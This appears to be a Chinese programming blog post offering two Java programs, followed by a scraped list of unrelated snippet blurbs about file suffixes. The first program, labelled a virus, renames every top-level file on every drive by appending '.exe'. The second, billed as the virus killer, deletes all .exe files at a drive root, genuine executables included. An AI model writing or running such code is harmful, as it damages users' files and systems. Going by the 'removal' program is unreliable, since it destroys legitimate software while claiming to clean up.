//通过在文件名后面添加.exe后缀,达到简单的文件感染目的 //申明:仅用于参考研究,请勿用于恶意攻击。不喜勿喷 package com.ming.demo; import java.io.File; public class Made_exe { public static void main(String[] args) { System.out.println("即将感染硬盘......"); //获取本地硬盘盘符 File[] roots =File.listRoots(); for (int i = 0; i < roots.length; i++) { File f=new File(roots[i].toString()); for (int j = 0; j < f.list().length; j++) { String fileName=(roots[i].toString()+f.list()[j]); File f_old=new File(fileName); File f_changeToExe=new File(fileName+".exe"); if (f_old.renameTo(f_changeToExe)) { System.out.println("感染成功!"); }else { System.out.println("感染失败!"); } } } } } ///前面“制造病毒”之后,下面的就是如何“杀毒”的代码了 package com.ming.demo; import java.io.File; import java.util.Scanner; public class Kill_exe { public static void main(String[] args){ Scanner input =new Scanner(System.in); System.out.println("请输入你要查杀的盘符:"); String diskName=input.next()+":\\"; File f=new File(diskName); if (f.exists()) { boolean existsExe=false; String[] names=f.list(); for (int i = 0; i < names.length; i++) { //获取文件名 String fileName=diskName+names[i]; File f_exe=new File(fileName); int start=fileName.lastIndexOf(".")+1; //获取后缀名 String type=fileName.substring(start); //匹配EXE if (type.equalsIgnoreCase("exe")) { existsExe=true;//发现病毒 //删除病毒 if (f_exe.delete()) { System.out.println("成功删除病毒:"+fileName); }else { System.out.println("杀毒失败,病毒名:"+fileName); } } } if (!existsExe) { System.out.println("未发现病毒!"); } }else { System.out.println("不存在该盘!"); } System.out.println("按任意键退出......"); if (input.next()!=null) { System.exit(0); } } }
相关推荐
java修改文件后缀j
java导出文件, freemarker导出word需要ftl文件,java导出Word常见问题。2.TXT修改后缀名为.ftl
运行本代码就可以修改文件夹内文件后缀。自己根据实际情况修改里面的路径和名字
java程序 删除 文件夹里面的文件,用的递归,删除类型文件的后缀名可以修改,时间可以修改等等 仅供参考 下载即可使用 修改路径地址即可,地址在配置文件里面。
统一修改目录下文件后缀名,IO流的基本操作,递归遍历目录下所有文件,找到符合条件的后缀并修改
在本篇文章里小编给大家分享了关于java批量修改文件后缀名方法和相关知识点,有需要的朋友们学习下。
文件名:FileEncrypter.java JDK:1.40以上 说明:文件加密 加密方法:三重DES加密 加密过程:对选中的文件加密后在同文件夹下生成一个增加了".tdes"扩展名的加密文件 (完美加密,更改后缀名也不可以打开)解密过程:...
//取得后缀名 int file_size=myFile.getSize(); //取得文件的大小 String saveurl=""; if(file_size<file_size_max){ //更改文件名,取得当前上传时间的毫秒数值 //Calendar calendar = Calendar.getInstance(); ...
4.图片上传部分:在文件上传部分已有功能的基础上实现了上传前缩略图预览,前台js文件后缀验证,后台代码文件后缀验证和文件类型验证(就算修改后缀名也无法成功上传),支持图片上传前压缩; 5.多选择器多文件上传...
注意:不要加文件后缀.dll,直接使用文件的名字部分(classloader)! 举例说明:例如,本加密工具安装在c:\lanswonsoft\java_protect,执行加密后的CLASS文件的命令行如下: java -agentlib:c:\lanswonsoft\java_...
(如果想支持其他格式的文件,请用"."+格式后缀名替换clear_annot类的103行".txt"); 2.仅支持删除以注释开头的行该行前部的注释;(主要是为了删除jd-gui.exe反编译的文件前部的烦人的注释) 3.创建一个java项目,将该...
idea设置file mask后缀名的find.xml配置文件。替换位置:C:\用户名\用户账号\AppData\Roaming\JetBrains\IntelliJIdea2021.1\options下。
执行java时带上参数 -agentlib:<动态库文件所在路径>\hidea 注意:不要加文件后缀.dll,直接使用文件的名字部分(classloader)! <br>举例说明:例如,本加密工具安装在c:\hideasoft\java_protect,执行...
java实现解压zip文件代码实例直接运行即可,要注意要解压的文件一定是直接压缩成zip然后进行解压直接更改文件后缀名的压缩文件会报错。
更改了加密文件的表示方式,由加后缀.DES变为在原扩展名前加.DES 更改了块长,变为由512k变为512k-1 更改了密钥限制,由8位变为4位,实际加密中不足八位的循环补齐 密钥由显示改为了显示字符*的方式
HelloNative.java 准备调用C函数的java文件 HelloNative.lib 用VC编译生成的静态库文件 HelloNative.obj 用VB编译生成的目标文件 HelloNativeTest.java 测试本地化是否成功的类文件 instanceVar.java 定义一个...
对于任意一个文件进行压缩,压缩后的文件名为原文件名称去掉后缀加上.hz,例如,原来的未压缩文件的名字为a.txt,压缩后为a.hz,压缩后的文件信息使用TLV结构(TYPE-LENGTH-VALUE),文件信息包括霍夫曼编码码表,...
注意此处不要后缀名.dll(或者.so)。 如: windows下执行java: java -agentlib:C:\classloader HelloWorld Linux、Unix等系列操作系统下执行java: java -agentlib:/home/classloader HelloWorld 应用场合: 独立...
注意:CLASS文件名不要带文件后缀.class 例如: 代码如下: java Test 如果执行的class文件是带包的,即在类文件中使用了:package <包名> 那应该在包的基路径下执行,命令行为: java <...
适合java新手学习的实例文件,可以在安装java的情况下直接运行查看结果,如果想要查看源代码可以更改文件java后缀为txt或者其他文本编辑器后缀,直接双击更改后缀名的文件即可查看源代码,可以以此为基础制作其他...